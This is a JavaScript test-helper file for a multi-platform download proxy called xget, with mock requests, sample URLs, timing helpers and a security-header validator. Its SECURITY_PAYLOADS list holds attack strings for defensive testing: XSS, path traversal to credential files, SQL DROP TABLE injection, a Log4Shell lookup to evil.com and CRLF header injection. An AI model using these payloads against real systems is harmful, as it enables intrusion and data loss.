xget/test/helpers/test-utils.js

/**
 * Test utilities and helper functions
 */

/**
 * Create a mock request with default options
 * @param {string} url - Request URL
 * @param {Object} options - Request options
 * @returns {Request} Mock request object
 */
export function createMockRequest(url, options = {}) {
  const defaultOptions = {
    method: 'GET',
    headers: {
      'User-Agent': 'Mozilla/5.0 (Test)',
      Accept: '*/*'
    }
  };

  return new Request(url, { ...defaultOptions, ...options });
}

/**
 * Create a mock response with default options
 * @param {string} body - Response body
 * @param {Object} options - Response options
 * @returns {Response} Mock response object
 */
export function createMockResponse(body = 'OK', options = {}) {
  const defaultOptions = {
    status: 200,
    statusText: 'OK',
    headers: {
      'Content-Type': 'text/plain'
    }
  };

  return new Response(body, { ...defaultOptions, ...options });
}

/**
 * Create a Git request for testing
 * @param {string} url - Git repository URL
 * @param {string} service - Git service (upload-pack or receive-pack)
 * @returns {Request} Git request object
 */
export function createGitRequest(url, service = 'git-upload-pack') {
  const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;

  return new Request(gitUrl, {
    method: service === 'git-upload-pack' ? 'GET' : 'POST',
    headers: {
      'User-Agent': 'git/2.34.1',
      'Git-Protocol': 'version=2',
      ...(service !== 'git-upload-pack' && {
        'Content-Type': `application/x-${service}-request`
      })
    }
  });
}

/**
 * Generate test URLs for different platforms
 * @param {string} platform - Platform identifier (gh, gl, hf, etc.)
 * @param {string} path - Resource path
 * @returns {string} Complete test URL
 */
export function generateTestUrl(platform, path) {
  const baseUrl = 'https://example.com';
  return `${baseUrl}/${platform}/${path}`;
}

/**
 * Common test URLs for different platforms
 */
export const TEST_URLS = {
  github: {
    file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
    raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
    release: 'https://example.com/gh/microsoft/vscode/releases/download/1.85.0/vscode.zip',
    archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
    git: 'https://example.com/gh/microsoft/vscode.git'
  },
  gitlab: {
    file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
    raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
    archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
    git: 'https://example.com/gl/gitlab-org/gitlab.git'
  },
  huggingface: {
    model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
    dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
    file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
  },
  npm: {
    package: 'https://example.com/npm/react',
    tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
    scoped: 'https://example.com/npm/@types/node',
    // Test case for the specific npm package that caused the issue
    npmPackage: 'https://example.com/npm/npm',
    npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
  },
  pypi: {
    simple: 'https://example.com/pypi/simple/requests/',
    package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
    wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
  },
  conda: {
    main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
    community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
    repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
  }
};

/**
 * Security test payloads
 */
export const SECURITY_PAYLOADS = {
  xss: [
    '<script>alert(1)</script>',
    'javascript:alert(1)',
    '"><script>alert(1)</script>',
    "';alert(1);//"
  ],
  pathTraversal: [
    '../../../etc/passwd',
    '..%2F..%2F..%2Fetc%2Fpasswd',
    '..\\..\\..\\windows\\system32\\config\\sam',
    '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
  ],
  injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
  headerInjection: [
    'value\r\nX-Injected: malicious',
    'value\nX-Injected: malicious',
    'value\r\n\r\n<script>alert(1)</script>'
  ]
};

/**
 * Performance test utilities
 */
export class PerformanceTestHelper {
  constructor() {
    this.measurements = [];
  }

  /**
   * Measure execution time of an async function
   * @param {Function} fn - Async function to measure
   * @param {string} name - Measurement name
   * @returns {Promise<any>} Function result
   */
  async measure(fn, name = 'operation') {
    const start = performance.now();
    const result = await fn();
    const end = performance.now();

    this.measurements.push({
      name,
      duration: end - start,
      timestamp: Date.now()
    });

    return result;
  }

  /**
   * Get all measurements
   * @returns {Array} Array of measurements
   */
  getMeasurements() {
    return [...this.measurements];
  }

  /**
   * Get average duration for a specific measurement name
   * @param {string} name - Measurement name
   * @returns {number} Average duration in milliseconds
   */
  getAverageDuration(name) {
    const filtered = this.measurements.filter(m => m.name === name);
    if (filtered.length === 0) return 0;

    const total = filtered.reduce((sum, m) => sum + m.duration, 0);
    return total / filtered.length;
  }

  /**
   * Clear all measurements
   */
  clear() {
    this.measurements = [];
  }
}

/**
 * Mock fetch function for testing
 * @param {string} url - Request URL
 * @param {Object} options - Fetch options
 * @returns {Promise<Response>} Mock response
 */
export function mockFetch(url, options = {}) {
  // Simulate network delay
  return new Promise(resolve => {
    setTimeout(() => {
      if (url.includes('error')) {
        resolve(createMockResponse('Server Error', { status: 500 }));
      } else if (url.includes('notfound')) {
        resolve(createMockResponse('Not Found', { status: 404 }));
      } else {
        resolve(createMockResponse('Mock Response', { status: 200 }));
      }
    }, 10);
  });
}

/**
 * Create a mock npm registry response
 * @param {string} packageName - Package name
 * @param {string} version - Package version
 * @returns {Object} Mock npm registry response
 */
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
  return {
    name: packageName,
    versions: {
      [version]: {
        name: packageName,
        version: version,
        dist: {
          tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
          shasum: 'mock-shasum',
          integrity: 'mock-integrity'
        }
      }
    },
    'dist-tags': {
      latest: version
    }
  };
}

/**
 * Validate response headers for security
 * @param {Response} response - Response to validate
 * @returns {Object} Validation results
 */
export function validateSecurityHeaders(response) {
  const requiredHeaders = [
    'Strict-Transport-Security',
    'X-Frame-Options',
    'X-XSS-Protection',
    'Content-Security-Policy',
    'Referrer-Policy'
  ];

  const results = {
    passed: true,
    missing: [],
    present: []
  };

  requiredHeaders.forEach(header => {
    if (response.headers.has(header)) {
      results.present.push(header);
    } else {
      results.missing.push(header);
      results.passed = false;
    }
  });

  return results;
}

/**
 * Generate random test data
 */
export const TestDataGenerator = {
  /**
   * Generate random string
   * @param {number} length - String length
   * @returns {string} Random string
   */
  randomString(length = 10) {
    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let result = '';
    for (let i = 0; i < length; i++) {
      result += chars.charAt(Math.floor(Math.random() * chars.length));
    }
    return result;
  },

  /**
   * Generate random GitHub repository path
   * @returns {string} Repository path
   */
  githubRepo() {
    const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
    const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
    const user = users[Math.floor(Math.random() * users.length)];
    const repo = repos[Math.floor(Math.random() * repos.length)];
    return `${user}/${repo}`;
  },

  /**
   * Generate random file path
   * @returns {string} File path
   */
  filePath() {
    const dirs = ['src', 'lib', 'test', 'docs', 'config'];
    const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
    const dir = dirs[Math.floor(Math.random() * dirs.length)];
    const file = files[Math.floor(Math.random() * files.length)];
    return `${dir}/${file}`;
  }
};

/**
 * Test timeout helper
 * @param {number} ms - Timeout in milliseconds
 * @returns {Promise} Promise that rejects after timeout
 */
export function timeout(ms) {
  return new Promise((_, reject) => {
    setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
  });
}

/**
 * Wait for a specified amount of time
 * @param {number} ms - Time to wait in milliseconds
 * @returns {Promise} Promise that resolves after the specified time
 */
export function wait(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}